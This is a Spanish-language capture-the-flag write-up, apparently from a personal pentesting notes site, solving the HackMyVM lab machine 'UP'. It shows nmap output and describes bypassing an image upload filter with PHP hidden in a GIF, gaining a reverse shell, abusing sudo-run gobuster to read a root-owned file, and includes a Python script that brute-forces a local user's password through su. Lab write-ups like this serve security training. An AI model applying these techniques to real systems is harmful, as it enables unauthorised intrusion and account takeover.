RODGAR
  • Whoami
  • ACTIVE DIRECTORY
    • HackTheBox Scrambled
    • HackTheBox Forest
    • HackTheBox Escape
    • HackTheBox Authority
    • HackTheBox Support
    • HackTheBox Return
    • HackTheBox Timelapse
    • HackTheBox Administrator
    • HackTheBox Cicada
    • ⛔HackTheBox Vintage
    • HackTheBox Sauna
    • HackTheBox Active
  • CTF WRITEUP's
    • TryHackme
      • TryHackme 0day
      • TryHackme Daily Bugle
      • TryHackme Blog
      • TryHackme Year of the Owl
      • TryHackme Wgel CTF
      • TryHackme Chill Hack
      • TryHackme Wonderland
      • TryHackne OhSINT
      • TryHackme Cold VVars
      • TryHackme Dav
      • TryHackme RootMe
      • TryHackMe Basic Pentesting
      • TryHackMe Simple-CTF
      • TryHackMe Vulnversity
      • Tryhackme Kenobi
    • Burp Suite
      • 1️⃣SQL Ijections
        • Laboratorio Uno
        • Laboratorio Dos
        • Laboratorio Tres
        • Laboratorio Cuatro
        • Laboratorio Cinco
        • Laboratorio Seis
        • Laboratorio Siete
    • VulnHub
      • Inferno
      • Election
      • SYMFONOS 3
      • SYMFONOS 2
      • DJinn-3
      • Durian 1
      • DarkHole 2
      • OffSec DC-9
      • OffSec Potato
      • OffSec Pwned1
      • OffSec VIKINGS
      • OffSec Tre
      • OffSec MoneyBox
      • OffSec DEATHNOTE
      • OffSec Gaara
      • OffSec NoName
      • OffSec Katana
      • OffSec Sick0s
    • The Hackers Labs
      • The Hackers Labs Offensive
      • The Hackers Labs Resident
      • The Hacker Labs Base
      • The Hackers Labs Statue
      • The Hackers Labs Luna
      • The Hackers Labs Templo
      • The Hackers Labs GOIKO
      • The Hackers Labs Microsoft
    • Hackmyvm
      • Hackmyvm UP
    • Pivoting
      • Pivoting
      • Internal TryHackme
      • Basic /Doctor
      • Pluck /Brain
  • Privilege escalation
    • Abuso de grupos de usuario especiales
      • Docker
      • LXD
      • ADM
    • Abuso de permisos incorrectamente implementados
    • Detección y explotación de Capabilities
    • Tareas Crom
    • Path Hijacking
    • Abusando de privilegios a nivel de Sudoers
    • Abusando de privilegios SUID
    • Linux Privilege Escalation
  • Shared Files
    • Share Windows Linux
      • Compartir de entre Windows y Linux
      • Compartir de Windows a linux [Impacket-Server]
    • Share Linux
      • Compartir de linux en [PHP]
  • OWASP TOP 10
    • SQL Injections
    • XSS
    • XXE
    • Path traversal Lab
    • LFI con Wrappers
    • Log Poisoning (LFI -> RCE)
    • Server-Side Template Injection (SSTI)
    • Ataque de oráculo de relleno (Padding Oracle)
    • Inyecciones LaTeX
    • Ataques de transferencia de zona (AXFR – Full Zone Transfer)
    • Enumeración y explotación de WebDAV
    • ShellShock
    • Enumeración y explotación de SQUID Proxies
    • Insecure Direct Object Reference (IDORs)
    • Json Web Token
    • Intercambio de recursos de origen cruzado (CORS)
    • Abuso de subidas de archivos
      • Laboratorio 1
      • Laboratorio 2
      • Laboratorio 3
      • Laboratorio 4
      • Laboratorio 5
      • Laboratorio 6
      • Laboratorio 7
      • Laboratorio 8
      • Laboratorio 9
  • Group 1
    • Recursos
Con tecnología de GitBook
En esta página
  1. CTF WRITEUP's
  2. Hackmyvm

Hackmyvm UP

AnteriorHackmyvmSiguientePivoting

Última actualización hace 7 meses

Empezamos por lo basico, escaneo donde hay solo un puerto abierto.


# Nmap 7.94SVN scan initiated Tue Oct 22 19:26:17 2024 as: nmap -sCV -p80 -oN target.txt 172.16.241.207
Nmap scan report for 172.16.241.207
Host is up (0.00077s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: RodGar - Subir Imagen

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Oct 22 19:26:31 2024 -- 1 IP address (1 host up) scanned in 13.23 seconds

Version y servicio que corre para ese puerto.


Haciendo Fuzzing encontramos un directorio en la web que seguramente luego necesitaremos.


Si vamos a la web observamos que tenemos una subida de archivos.


Probe con un archivo PHP, pero nel solo acepta archivos JPG y GIF.


Vamos a subir un GIF.


Observamos que se sube correctamente el archivo GIF.


Si vamos al directorio donde se deberia estar almacenando la imagen no encontramos con un mensaje que nos dice que las buenas practicas en un buen pentesting.


Si volvemos ah hacerle Fuzzing a la web al directorio /uploads encontramos un archivo .txt.


Si le lanzamos un curl observamos que esta en base64. Lo decodifcamos y observamos algo en el codigo la parte marcada nos dice que cuando el archivo se sube se esta haciendo un tratamiento del nombre y lo esta formateando ah root13 el nombre original con le que se sube.


Convertimos el nombre del archivo GIF que subimos ah root13 para buscarlo en la web.


Si lo vamos ah buscar con el nombre que se formateo observamos que nos carga el archivo GIF.


  • Vamos ah intentar meter codigo PHP en el GIF de la manera que se observa.

  • Le cambie el nombre para que no exista la posibilidad que haya problemas con el archivo anterior.


Lo subimos, formateamos el nombre ah root13 del normal para luego buscarlo en la web y observamos que tenemos RCE.


Nos enviamos una rever shell a nuestra maquina atacante.


En el directorio actual hay una pista que nos dice que para el usuario rodgar su password esta en /root.


  • Si hacemos un sudo -l, observamos que www-data puede ejecutar gobuster de una manera privilegiada.


  1. Lo que haremos es hacer fuzzig a un servidor web que yo me monto desde mi maquina atacante usando python3 y como lista de palabras usamos la ruta donde nos dice que esta la password de rodgar.

  2. Ahora aca nos montamos un servidor para cuando nos hagan el fuzzing nos quede los logs.

El hash que es una contraseña tiene 31 caracteres me percate que le falta el ultimo caracter, asi que me monte un script para descubir el ultimo caracter.


#!/usr/bin/env python3
# Autor: rodgar

import subprocess

def verificar_contraseña(usuario, contraseña):
    proceso = subprocess.Popen(['su', usuario, '-c', 'echo success'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    salida, error = proceso.communicate(input=(contraseña + '\n').encode())
    return proceso.returncode == 0

usuario = "rodgar"
hash_incompleto = "b45cffe084dd3d20d928bee85e7b0f2"
caracteres_posibles = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

def generar_posibles_contraseñas(hash_incompleto, caracteres_posibles):
    return [hash_incompleto + char for char in caracteres_posibles]

def imprimir_color(mensaje, color):
    print("\033[" + color + "m" + mensaje + "\033[0m")

contraseñas_generadas = generar_posibles_contraseñas(hash_incompleto, caracteres_posibles)
contraseña_encontrada = False

for contraseña in contraseñas_generadas:
    if verificar_contraseña(usuario, contraseña):
        imprimir_color("[+] Contraseña válida! Usuario: " + usuario + " Contraseña: " + contraseña, "92")
        contraseña_encontrada = True
        break

if not contraseña_encontrada:
    imprimir_color("[-] Contraseña inválida para el usuario: " + usuario, "91")

Como rodgar podemos ejecutar de manera privilegiada dos binarios peligrosos, nos convertimos en root y nos hacemos con las dos banderas del reto.

MAQUINA RESUELTA